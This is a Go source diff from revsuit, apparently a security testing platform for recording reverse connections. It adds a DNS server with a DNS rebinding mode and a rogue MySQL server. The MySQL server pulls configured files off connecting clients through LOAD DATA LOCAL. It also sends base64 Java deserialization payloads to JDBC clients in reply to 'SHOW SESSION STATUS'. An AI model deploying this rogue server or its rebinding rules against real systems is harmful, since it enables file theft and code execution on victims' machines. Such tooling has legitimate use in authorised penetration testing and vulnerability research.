func compileCatcher(flagFormat string) (reg *regexp.Regexp, err error) {
if reg, err := regexp.Compile(flagFormat); err == nil {
return reg, nil
} else {
// * meaning record all connections.
if flagFormat != "*" {
return nil, err
} else {
return nil, nil
}
}
}
func (br BaseRule) Match(s string) (flag, flagGroup string) {
if br.flagCatcher == nil && br.FlagFormat != "*" {
// compile rule flags
catcher, err := compileCatcher(br.FlagFormat)
if err != nil {
log.Error("%s(rule:%s)", err.Error(), br.Name)
}
br.flagCatcher = catcher
}
if br.flagCatcher == nil {
// capture all connection.
flag = "*"
} else {
matched := br.flagCatcher.FindStringSubmatch(s)
if len(matched) == 0 {
return
}
flag = matched[0]
if len(matched) > 1 {
flagGroup = matched[1]
}
}
return
}
+5
View File
@@ -0,0 +1,5 @@
package dns
type Config struct {
Enable bool
}
+175
View File
@@ -0,0 +1,175 @@
package dns
import (
"strings"
"sync"
"time"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/newdns"
"github.com/li4n0/revsuit/internal/qqwry"
"github.com/patrickmn/go-cache"
log "unknwon.dev/clog/v2"
)
type Server struct {
rules []*Rule
rulesLock sync.RWMutex
}
var (
server *Server
once sync.Once
rebindingCache = cache.New(5*time.Second, 10*time.Second)
)
func GetServer() *Server {
once.Do(func() {
server = &Server{rulesLock: sync.RWMutex{}}
})
return server
}
func (s *Server) getRules() []*Rule {
defer s.rulesLock.RUnlock()
s.rulesLock.RLock()
return s.rules
}
func (s *Server) updateRules() error {
db := database.DB.Model(new(Rule))
s.rulesLock.Lock()
db.Order("rank desc").Find(&s.rules)
s.rulesLock.Unlock()
return nil
}
func (s *Server) Run() {
if err := s.updateRules(); err != nil {
log.Fatal(err.Error())
}
//create new dns zone with root domain
newZone := func(name string) *newdns.Zone {
domain := strings.TrimSuffix(name, ".")
frags := strings.Split(domain, ".")
zoneName := ""
if len(frags) >= 2 {
zoneName = strings.Join(frags[len(frags)-2:], ".") + "."
} else {
zoneName = name
}
return &newdns.Zone{
Name: zoneName,
MasterNameServer: "ns1.hostmaster.com.",
AllNameServers: []string{
"ns1.hostmaster.com.",
"ns2.hostmaster.com.",
"ns3.hostmaster.com.",
},
Handler: func(lookedName, remoteAddr string) ([]newdns.Set, error) {
ip := strings.Split(remoteAddr, ":")[0]
for _, _rule := range s.getRules() {
flag, flagGroup := _rule.Match(domain)
if flag == "" {
continue
}
r, err := newRecord(_rule, flag, domain, ip, qqwry.Area(ip))
if err != nil {
log.Error("DNS record(rule_id:%s) created failed :%s", _rule.Name, err.Error())
return nil, nil
}
log.Trace("DNS record(id:%d) has been created", r.ID)
//only send to client when this connection recorded first time.
if _rule.PushToClient {
if flagGroup != "" {
var count int64
database.DB.Where("rule_name=? and domain like ?", _rule.Name, "%"+flagGroup+"%").Model(&Record{}).Count(&count)
if count <= 1 {
r.PushToClient()
log.Trace("DNS record(id:%d) has been put to client message queue", r.ID)
}
} else {
r.PushToClient()
log.Trace("DNS record(id:%d) has been put to client message queue", r.ID)
}
}
//send notice
if _rule.Notice {
go func() {
r.Notice()
log.Trace("DNS record(id:%d) notice has been sent", r.ID)
}()
}
if _rule.Value != "" {
_type := _rule.Type
if _rule.Type == newdns.REBINDING {
_type = newdns.A
}
return []newdns.Set{
{
Name: name,
Type: _type,
Records: func() []newdns.Record {
switch _rule.Type {
case newdns.TXT:
return []newdns.Record{{Data: []string{_rule.Value}}}
case newdns.CNAME, newdns.NS:
return []newdns.Record{{Address: _rule.Value + "."}}
case newdns.REBINDING:
// Get rebinding ip list
values, ok := rebindingCache.Get(ip)
if !ok {
rebindingCache.Set(ip, strings.Split(_rule.Value, ","), cache.DefaultExpiration)
values = strings.Split(_rule.Value, ",")
}
//Choose and delete first ip
value := values.([]string)[0]
if len(values.([]string)) > 1 {
rebindingCache.Set(ip, values.([]string)[1:len(values.([]string))], cache.DefaultExpiration)
} else {
rebindingCache.Delete(ip)
}
log.Trace("DNS rebinding client(ip:%v) to %v", ip, value)
return []newdns.Record{{Address: value}}
default:
return []newdns.Record{{Address: _rule.Value}}
}
}(),
TTL: _rule.TTL * time.Second,
},
}, nil
}
}
return nil, nil
},
}
}
// create server
server := newdns.NewServer(newdns.Config{
Handler: func(name string) (*newdns.Zone, error) {
return newZone(name), nil
},
})
// run server
log.Info("Starting DNS Server at :53")
err := server.Run(":53")
if err != nil {
log.Fatal(err.Error())
}
}
+97
View File
@@ -0,0 +1,97 @@
package dns
import (
"strconv"
"time"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/notice"
"github.com/li4n0/revsuit/internal/record"
)
var _ record.Record = (*Record)(nil)
type Record struct {
Domain string `gorm:"index" form:"domain" json:"domain"`
record.BaseRecord
Rule Rule `gorm:"foreignKey:RuleName;references:Name;constraint:OnUpdate:CASCADE,OnDelete:SET NULL;" form:"-" json:"-" notice:"-"`
}
func (Record) TableName() string {
return "dns_records"
}
func (r Record) Notice() {
notice.Notice(r)
}
func newRecord(rule *Rule, flag, domain, remoteIp, ipArea string) (r *Record, err error) {
r = &Record{
BaseRecord: record.BaseRecord{
Flag: flag,
RemoteIP: remoteIp,
IpArea: ipArea,
RequestTime: time.Now(),
},
Domain: domain,
Rule: *rule,
}
err = database.DB.Create(r).Error
return
}
func List(c *gin.Context) {
var (
dnsRecord Record
res []Record
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&dnsRecord); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err,
"result": nil,
})
}
db := database.DB.Model(&dnsRecord)
if dnsRecord.Flag != "" {
db.Where("flag = ?", dnsRecord.Flag)
}
if dnsRecord.Domain != "" {
db.Where("domain like ?", "%"+dnsRecord.Domain+"%")
}
if dnsRecord.RemoteIP != "" {
db.Where("remote_ip = ?", dnsRecord.RemoteIP)
}
if dnsRecord.RuleName != "" {
db.Where("rule_name = ?", dnsRecord.RuleName)
}
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
+198
View File
@@ -0,0 +1,198 @@
package dns
import (
"strconv"
"time"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/newdns"
"github.com/li4n0/revsuit/internal/rule"
"gorm.io/gorm/clause"
log "unknwon.dev/clog/v2"
)
type Rule struct {
rule.BaseRule
Type newdns.Type `gorm:"default:1" form:"type" json:"type"`
Value string `form:"value" json:"value"`
TTL time.Duration `gorm:"ttl;default:10" form:"ttl" json:"ttl"`
}
func (Rule) TableName() string {
return "dns_rules"
}
// New dns rule struct
func NewRule(name, flagFormat, value string, pushToClient, notice bool, _type newdns.Type, ttl time.Duration) *Rule {
return &Rule{
BaseRule: rule.BaseRule{
Name: name,
FlagFormat: flagFormat,
PushToClient: pushToClient,
Notice: notice,
},
Type: _type,
Value: value,
TTL: ttl,
}
}
// Create or update the dns rule in database and ruleSet
func (r *Rule) CreateOrUpdate() (err error) {
db := database.DB.Model(r)
err = db.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "id"}},
DoUpdates: clause.AssignmentColumns(
[]string{
"name",
"flag_format",
"rank",
"type",
"value",
"ttl",
"push_to_client",
"notice",
}),
}).Create(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// Delete the dns rule in database and ruleSet
func (r *Rule) Delete() (err error) {
db := database.DB.Model(r)
err = db.Delete(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// List all dns rules those satisfy the filter
func ListRules(c *gin.Context) {
var (
dnsRule Rule
res []Rule
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&dnsRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
db := database.DB.Model(&dnsRule)
if dnsRule.Name != "" {
db.Where("name = ?", dnsRule.Name)
}
db.Count(&count)
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Order("rank desc").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
// Create or update dns rule from user submit
func UpsertRules(c *gin.Context) {
var (
dnsRule Rule
update bool
)
if err := c.ShouldBind(&dnsRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if dnsRule.ID != 0 {
update = true
}
if err := dnsRule.CreateOrUpdate(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if update {
log.Trace("DNS rule(id:%d) has been updated", dnsRule.ID)
} else {
log.Trace("DNS rule(id:%d) has been created", dnsRule.ID)
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": nil,
})
}
// Delete dns rule from user submit
func DeleteRules(c *gin.Context) {
var dnsRule Rule
if err := c.ShouldBind(&dnsRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if err := dnsRule.Delete(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
log.Trace("DNS rule(id:%d) has been deleted", dnsRule.ID)
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"data": nil,
})
return
}
+7
View File
@@ -0,0 +1,7 @@
package mysql
type Config struct {
Enable bool
Addr string
VersionString string `yaml:"version_string"`
}
+62
View File
@@ -0,0 +1,62 @@
package mysql
import (
"fmt"
"strings"
"github.com/gabriel-vasile/mimetype"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
)
const FILE_SPEARATOR = ";"
type File struct {
ID uint `gorm:"primarykey" form:"id" json:"id"`
RecordID uint `gorm:"constraint:OnUpdate:CASCADE,OnDelete:CASCADE;" json:"-"`
Name string `json:"name"`
Content []byte `json:"-"`
}
//func (File) TableName() string {
// return "mysql_files"
//}
func GetFile(c *gin.Context) {
var (
file File
mysqlRecord Record
)
id := c.Param("id")
if id == "" {
c.JSON(400, gin.H{
"status": "failed",
"error": fmt.Errorf("param id missed").Error(),
"result": nil,
})
return
}
database.DB.Model(&file).Where("id = ?", id).Find(&file)
database.DB.Model(&mysqlRecord).Where("id = ?", file.RecordID).Find(&mysqlRecord)
if file.Content == nil || len(file.Content) == 0 {
c.JSON(400, gin.H{
"status": "failed",
"error": fmt.Errorf("file not found").Error(),
"result": nil,
})
return
} else {
mime := mimetype.Detect(file.Content)
c.Header("Content-Type", mime.String())
c.Header("Content-Disposition",
fmt.Sprintf(
"filename=%s_%s_%d",
strings.Replace(mysqlRecord.RemoteIP, ".", "_", -1),
file.Name,
file.ID,
),
)
c.String(200, string(file.Content))
}
}
+278
View File
@@ -0,0 +1,278 @@
package mysql
import (
"encoding/base64"
"fmt"
"os"
"regexp"
"strings"
"sync"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/qqwry"
"github.com/li4n0/revsuit/pkg/mysql/vmysql"
log "unknwon.dev/clog/v2"
"vitess.io/vitess/go/sqltypes"
)
var (
server *Server
once sync.Once
mysqlConnectorFlag = regexp.MustCompile(`mysql-connector-java(-\d+\.\d+\.\d+)?`)
)
type Server struct {
Config
rules []*Rule
rulesLock sync.RWMutex
listener *vmysql.Listener
Handler vmysql.Handler
connRulePool sync.Map
}
func GetServer() *Server {
once.Do(func() {
server = &Server{rulesLock: sync.RWMutex{}}
})
return server
}
func (s *Server) getRules() []*Rule {
defer s.rulesLock.RUnlock()
s.rulesLock.RLock()
return s.rules
}
func (s *Server) updateRules() error {
db := database.DB.Model(new(Rule))
s.rulesLock.Lock()
db.Order("rank desc").Find(&s.rules)
s.rulesLock.Unlock()
return nil
}
// NewConnection is part of the mysql.Handler interface.
func (s *Server) NewConnection(c *vmysql.Conn) {
log.Trace("New MySQL client from addr [%s] logged in with username [%s], ID [%d]", c.RemoteAddr(), c.User, c.ConnectionID)
c.RecycleReadPacket()
var (
user = c.User
schema = c.SchemaName
validated bool
)
for _, _rule := range s.getRules() {
flag, _ := _rule.Match(user + schema)
if flag == "" {
continue
}
s.connRulePool.Store(c.ConnectionID, _rule)
validated = true
break
}
if !validated {
c.WriteErrorResponse(vmysql.NewSQLError(vmysql.ERAccessDeniedError, vmysql.SSAccessDeniedError, "Access denied for user '%v'", c.User).Error())
return
}
if c.ConnAttrs != nil {
if strings.Contains(c.ConnAttrs["_client_name"], "MySQL Connector") {
c.IsJdbcClient = true
c.SupportLoadDataLocal = true
// 测试发现只有 pymysql 和原生命令行会对这个 flag 真正进行修改
// 而且 Connector/J 默认值为 False, 所以这里做特殊兼容
}
}
}
// ConnectionClosed is part of the mysql.Handler interface.
func (s *Server) ConnectionClosed(c *vmysql.Conn) {
log.Trace("MySQL Client leaved, ID [%d]", c.ConnectionID)
var (
user = c.User
clientName string
clientOS string
supportLoadLocalData = c.SupportLoadDataLocal
cr, ok = s.connRulePool.Load(c.ConnectionID)
)
if !ok {
return
}
_rule := cr.(*Rule)
flag, flagGroup := _rule.Match(user)
if flag == "" {
log.Error("MySQL Connection rule(%d) not match flag", c.ConnectionID)
}
if c.ConnAttrs != nil {
clientName = c.ConnAttrs["_client_name"] + " " + c.ConnAttrs["_client_version"]
clientOS = c.ConnAttrs["_os"] + " " + c.ConnAttrs["_platform"]
}
ip := strings.Split(c.RemoteAddr().String(), ":")[0]
filenames := strings.Split(_rule.Files, FILE_SPEARATOR)
files := make([]File, 0)
for _, filename := range filenames {
if len(c.Files[filename]) != 0 {
files = append(files, File{Name: filename, Content: c.Files[filename]})
}
}
r, err := newRecord(_rule, flag, user, clientName, clientOS, ip, qqwry.Area(ip), supportLoadLocalData, files)
if err != nil {
log.Error("MySQL record(rule_id:%s) created failed :%s", _rule.Name, err.Error())
return
}
log.Trace("MySQL record(id:%d) has been created", r.ID)
//only send to client when this connection recorded first time.
if _rule.PushToClient {
if flagGroup != "" {
var count int64
database.DB.Where("rule_name=? and domain like ?", _rule.Name, "%"+flagGroup+"%").Model(&Record{}).Count(&count)
if count <= 1 {
r.PushToClient()
log.Trace("MySQL record(id:%d) has been put to client message queue", r.ID)
}
} else {
r.PushToClient()
log.Trace("MySQL record(id:%d) has been put to client message queue", r.ID)
}
}
//send notice
if _rule.Notice {
go func() {
r.Notice()
log.Trace("MySQL record(id:%d) notice has been sent", r.ID)
}()
}
s.connRulePool.Delete(c.ConnectionID)
}
// ComQuery is part of the mysql.Handler interface.
func (s *Server) ComQuery(c *vmysql.Conn, query string, callback func(*sqltypes.Result) error) error {
log.Trace("MySQL Client from addr, ID [%d] try to query [%s]", c.ConnectionID, query)
// match mysql-connector-java
if strings.Contains(query, "mysql-connector-java") && (c.ConnAttrs == nil || c.ConnAttrs["_client_name"] == "") {
c.ConnAttrs = map[string]string{"_client_name": mysqlConnectorFlag.FindString(query)}
}
cr, ok := s.connRulePool.Load(c.ConnectionID)
if !ok {
c.WriteErrorResponse(
fmt.Sprintf(
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
strings.ReplaceAll(
strings.ReplaceAll(query, "%", "%%"),
"'", "\\'"),
),
)
return nil
}
_rule := cr.(*Rule)
if _rule.ExploitJdbcClient && _rule.Payloads != nil && c.IsJdbcClient {
if query == "SHOW SESSION STATUS" {
var payload []byte
log.Trace("MySQL Client [%d] request `%s`, start exploiting...", c.ConnectionID, query)
r := &sqltypes.Result{Fields: vmysql.SchemaToFields(vmysql.Schema{
{Name: "Variable_name", Type: sqltypes.Blob, Nullable: false},
{Name: "Value", Type: sqltypes.Blob, Nullable: false},
})}
//choose payload
//jdbc:mysql://127.0.0.1:3306/test?connectionAttributes=t:cc7&autoDeserialize=true
if c.ConnAttrs["t"] != "" && _rule.Payloads[c.ConnAttrs["t"]] != "" {
payload, _ = base64.StdEncoding.DecodeString(_rule.Payloads[c.ConnAttrs["t"]])
} else {
for _, v := range _rule.Payloads {
payload, _ = base64.StdEncoding.DecodeString(v)
break
}
}
r.Rows = append(r.Rows, vmysql.RowToSQL(vmysql.SQLRow{[]byte{}, payload}))
_ = callback(r)
} else {
r := vmysql.GetMysqlVars()
_ = callback(r)
}
return nil
}
// mysql LOAD DATA LOCAL
if !c.SupportLoadDataLocal { // 客户端不支持读取本地文件且没有开启总是读取,直接返回错误
log.Trace("MySQL Client not support LOAD DATA LOCAL, return error directly")
c.WriteErrorResponse(
fmt.Sprintf(
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
strings.ReplaceAll(
strings.ReplaceAll(query, "%", "%%"),
"'", "\\'"),
),
)
return nil
}
files := strings.Split(_rule.Files, ";")
if c.Files == nil {
c.Files = make(map[string][]byte)
}
for _, filename := range files {
if c.Files[filename] == nil {
log.Trace("MySQL now try to read file [%s], ID [%d]", filename, c.ConnectionID)
data := c.RequestFile(filename)
if data == nil || len(data) == 0 {
log.Trace("MySQL file [%s] read failed, file may not exist in client [%d]", filename, c.ConnectionID)
c.Files[filename] = []byte{}
} else {
c.Files[filename] = data
}
c.WriteErrorResponse(fmt.Sprintf(
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
strings.ReplaceAll(
strings.ReplaceAll(query, "%", "%%"),
"'", "\\'"),
))
}
}
c.WriteErrorResponse(fmt.Sprintf(
"You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '%s' at line 1",
strings.ReplaceAll(
strings.ReplaceAll(query, "%", "%%"),
"'", "\\'"),
))
return nil
}
// WarningCount is part of the mysql.Handler interface.
func (s *Server) WarningCount(c *vmysql.Conn) uint16 {
return 0
}
func (s *Server) Run() {
if err := s.updateRules(); err != nil {
log.Fatal(err.Error())
}
s.Handler = s
var authServer = &vmysql.AuthServerNone{}
var err error
log.Info("Starting Mysql Server at %s", s.Addr)
s.listener, err = vmysql.NewListener("tcp", s.Addr, authServer, s, s.VersionString, 0, 0)
if err != nil {
log.Error("New Mysql Server failed: %s", err)
os.Exit(-1)
}
s.listener.Accept()
}
+17
View File
@@ -0,0 +1,17 @@
package mysql
import (
"database/sql"
"fmt"
"testing"
_ "github.com/go-sql-driver/mysql"
)
func TestServer_NewConnection(t *testing.T) {
db, err := sql.Open("mysql", "root:root@tcp(127.0.0.1)/dbname?allowAllFiles=true")
if err != nil {
fmt.Println(err)
}
db.Exec("SELECT 1;")
}
+108
View File
@@ -0,0 +1,108 @@
package mysql
import (
"strconv"
"time"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/notice"
"github.com/li4n0/revsuit/internal/record"
)
var _ record.Record = (*Record)(nil)
type Record struct {
record.BaseRecord
Username string `gorm:"index",form:"username" json:"username" notice:"username"`
ClientName string `gorm:"index",form:"client_name" json:"client_name" notice:"client_name"`
ClientOS string `gorm:"index",form:"client_os" json:"client_os" notice:"client_os"`
LoadLocalData bool `gorm:"index",form:"load_local_data" json:"load_local_data" notice:"load_local_data"`
//FileID uint `form:"file_id" json:"file_id" notice:"file_id"`
Files []File `form:"-" json:"files" notice:"-"`
Rule Rule `gorm:"foreignKey:RuleName;references:Name;constraint:OnUpdate:CASCADE,OnDelete:SET NULL;" form:"-" json:"-" notice:"-"`
}
func (Record) TableName() string {
return "mysql_records"
}
func (r Record) Notice() {
notice.Notice(r)
}
func newRecord(rule *Rule, flag, username, clientName, clientOS, remoteIp, ipArea string, supportLoadLocalData bool, files []File) (r *Record, err error) {
r = &Record{
BaseRecord: record.BaseRecord{
Flag: flag,
RemoteIP: remoteIp,
IpArea: ipArea,
RequestTime: time.Now(),
},
Username: username,
ClientName: clientName,
ClientOS: clientOS,
LoadLocalData: supportLoadLocalData,
Files: files,
Rule: *rule,
}
err = database.DB.Create(r).Error
return
}
func List(c *gin.Context) {
var (
mysqlRecord Record
res []Record
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&mysqlRecord); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err,
"result": nil,
})
}
db := database.DB.Model(&mysqlRecord)
if mysqlRecord.Flag != "" {
db.Where("flag = ?", mysqlRecord.Flag)
}
if mysqlRecord.RemoteIP != "" {
db.Where("remote_ip = ?", mysqlRecord.RemoteIP)
}
if mysqlRecord.RuleName != "" {
db.Where("rule_name = ?", mysqlRecord.RuleName)
}
if mysqlRecord.ClientOS != "" {
db.Where("client_os like ?", "%"+mysqlRecord.ClientOS)
}
if mysqlRecord.ClientName != "" {
db.Where("client_name like ?", "%"+mysqlRecord.ClientName)
}
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Preload("Files").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
+180
View File
@@ -0,0 +1,180 @@
package mysql
import (
"strconv"
"github.com/gin-gonic/gin"
"github.com/li4n0/revsuit/internal/database"
"github.com/li4n0/revsuit/internal/rule"
"gorm.io/gorm/clause"
log "unknwon.dev/clog/v2"
)
type Rule struct {
rule.BaseRule
Files string `form:"files" json:"files"`
ExploitJdbcClient bool `gorm:"exploit_jdbc_client" form:"exploit_jdbc_client" json:"exploit_jdbc_client"`
Payloads database.MapField `json:"payloads" json:"payloads"`
}
func (Rule) TableName() string {
return "mysql_rules"
}
// Create or update the mysql rule in database and ruleSet
func (r *Rule) CreateOrUpdate() (err error) {
db := database.DB.Model(r)
err = db.Clauses(clause.OnConflict{
Columns: []clause.Column{{Name: "id"}},
DoUpdates: clause.AssignmentColumns(
[]string{
"name",
"flag_format",
"rank",
"files",
"exploit_jdbc_client",
"payloads",
"push_to_client",
"notice",
}),
}).Create(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// Delete the mysql rule in database and ruleSet
func (r *Rule) Delete() (err error) {
db := database.DB.Model(r)
err = db.Delete(r).Error
if err != nil {
return
}
err = GetServer().updateRules()
return
}
// List all mysql rules those satisfy the filter
func ListRules(c *gin.Context) {
var (
mysqlRule Rule
res []Rule
count int64
order = c.Query("order")
)
if err := c.ShouldBind(&mysqlRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
db := database.DB.Model(&mysqlRule)
if mysqlRule.Name != "" {
db.Where("name = ?", mysqlRule.Name)
}
db.Count(&count)
page, err := strconv.Atoi(c.Query("page"))
if err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"result": nil,
})
return
}
if err := db.Order("rank desc").Order("id" + " " + order).Count(&count).Offset((page - 1) * 10).Limit(10).Find(&res).Error; err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": gin.H{"count": count, "data": res},
})
}
// Create or update mysql rule from user submit
func UpsertRules(c *gin.Context) {
var (
mysqlRule Rule
update bool
)
if err := c.ShouldBind(&mysqlRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if mysqlRule.ID != 0 {
update = true
}
if err := mysqlRule.CreateOrUpdate(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if update {
log.Trace("MySQL rule(id:%d) has been updated", mysqlRule.ID)
} else {
log.Trace("MySQL rule(id:%d) has been created", mysqlRule.ID)
}
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"result": nil,
})
}
// Delete mysql rule from user submit
func DeleteRules(c *gin.Context) {
var mysqlRule Rule
if err := c.ShouldBind(&mysqlRule); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
if err := mysqlRule.Delete(); err != nil {
c.JSON(400, gin.H{
"status": "failed",
"error": err.Error(),
"data": nil,
})
return
}
log.Trace("MySQL rule(id:%d) has been deleted", mysqlRule.ID)
c.JSON(200, gin.H{
"status": "succeed",
"error": nil,
"data": nil,
})
return
}
+239
View File
@@ -0,0 +1,239 @@
/*
Copyright 2017 Google Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreedto in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
package vmysql
import (
"bytes"
"crypto/rand"
"crypto/sha1"
"encoding/hex"
"net"
"strings"
log "unknwon.dev/clog/v2"
"vitess.io/vitess/go/vt/proto/vtrpc"
"vitess.io/vitess/go/vt/vterrors"
)
// AuthServer is the interface that servers must implement to validate
// users and passwords. It has two modes:
//
// 1. using salt the way MySQL native auth does it. In that case, the
// password is not sent in the clear, but the salt is used to hash the
// password both on the client and server side, and the result is sent
// and compared.
//
// 2. sending the user / password in the clear (using MySQL Cleartext
// method). The server then gets access to both user and password, and
// can authenticate using any method. If SSL is not used, it means the
// password is sent in the clear. That may not be suitable for some
// use cases.
type AuthServer interface {
// AuthMethod returns the authentication method to use for the
// given user. If this returns MysqlNativePassword
// (mysql_native_password), then ValidateHash() will be
// called, and no further roundtrip with the client is
// expected. If anything else is returned, Negotiate()
// will be called on the connection, and the AuthServer
// needs to handle the packets.
AuthMethod(user string) (string, error)
// Salt returns the salt to use for a connection.
// It should be 20 bytes of data.
// Most implementations should just use mysql.NewSalt().
// (this is meant to support a plugin that would use an
// existing MySQL server as the source of auth, and just forward
// the salt generated by that server).
// Do not return zero bytes, as a known salt can be the source
// of a crypto attack.
Salt() ([]byte, error)
// ValidateHash validates the data sent by the client matches
// what the server computes. It also returns the user data.
ValidateHash(salt []byte, user string, authResponse []byte, remoteAddr net.Addr) (Getter, error)
// Negotiate is called if AuthMethod returns anything else
// than MysqlNativePassword. It is handed the connection after the
// AuthSwitchRequest packet is sent.
// - If the negotiation fails, it should just return an error
// (should be a SQLError if possible).
// The framework is responsible for writing the Error packet
// and closing the connection in that case.
// - If the negotiation works, it should return the Getter,
// and no error. The framework is responsible for writing the
// OK packet.
Negotiate(c *Conn, user string, remoteAddr net.Addr) (Getter, error)
}
// authServers is a registry of AuthServer implementations.
var authServers = make(map[string]AuthServer)
// RegisterAuthServerImpl registers an implementations of AuthServer.
func RegisterAuthServerImpl(name string, authServer AuthServer) {
if _, ok := authServers[name]; ok {
log.Error("AuthServer named %v already exists", name)
}
authServers[name] = authServer
}
// NewSalt returns a 20 character salt.
func NewSalt() ([]byte, error) {
salt := make([]byte, 20)
if _, err := rand.Read(salt); err != nil {
return nil, err
}
// Salt must be a legal UTF8 string.
for i := 0; i < len(salt); i++ {
salt[i] &= 0x7f
if salt[i] == '\x00' || salt[i] == '$' {
salt[i]++
}
}
return salt, nil
}
// ScramblePassword computes the hash of the password using 4.1+ method.
func ScramblePassword(salt, password []byte) []byte {
if len(password) == 0 {
return nil
}
// stage1Hash = SHA1(password)
crypt := sha1.New()
crypt.Write(password)
stage1 := crypt.Sum(nil)
// scrambleHash = SHA1(salt + SHA1(stage1Hash))
// inner Hash
crypt.Reset()
crypt.Write(stage1)
hash := crypt.Sum(nil)
// outer Hash
crypt.Reset()
crypt.Write(salt)
crypt.Write(hash)
scramble := crypt.Sum(nil)
// token = scrambleHash XOR stage1Hash
for i := range scramble {
scramble[i] ^= stage1[i]
}
return scramble
}
func isPassScrambleMysqlNativePassword(reply, salt []byte, mysqlNativePassword string) bool {
/*
SERVER: recv(reply)
hash_stage1=xor(reply, sha1(salt,hash))
candidate_hash2=sha1(hash_stage1)
check(candidate_hash2==hash)
*/
if len(reply) == 0 {
return false
}
if mysqlNativePassword == "" {
return false
}
if strings.Contains(mysqlNativePassword, "*") {
mysqlNativePassword = mysqlNativePassword[1:]
}
hash, err := hex.DecodeString(mysqlNativePassword)
if err != nil {
return false
}
// scramble = SHA1(salt+hash)
crypt := sha1.New()
crypt.Write(salt)
crypt.Write(hash)
scramble := crypt.Sum(nil)
// token = scramble XOR stage1Hash
for i := range scramble {
scramble[i] ^= reply[i]
}
hashStage1 := scramble
crypt.Reset()
crypt.Write(hashStage1)
candidateHash2 := crypt.Sum(nil)
return bytes.Equal(candidateHash2, hash)
}
// Constants for the dialog plugin.
const (
mysqlDialogMessage = "Enter password: "
// Dialog plugin is similar to clear text, but can respond to multiple
// prompts in a row. This is not yet implemented.
// Follow questions should be prepended with a `cmd` byte:
// 0x02 - ordinary question
// 0x03 - last question
// 0x04 - password question
// 0x05 - last password
mysqlDialogAskPassword = 0x04
)
// authServerDialogSwitchData is a helper method to return the data
// needed in the AuthSwitchRequest packet for the dialog plugin
// to ask for a password.
func authServerDialogSwitchData() []byte {
result := make([]byte, len(mysqlDialogMessage)+2)
result[0] = mysqlDialogAskPassword
writeNullString(result, 1, mysqlDialogMessage)
return result
}
// AuthServerReadPacketString is a helper method to read a packet
// as a null terminated string. It is used by the mysql_clear_password
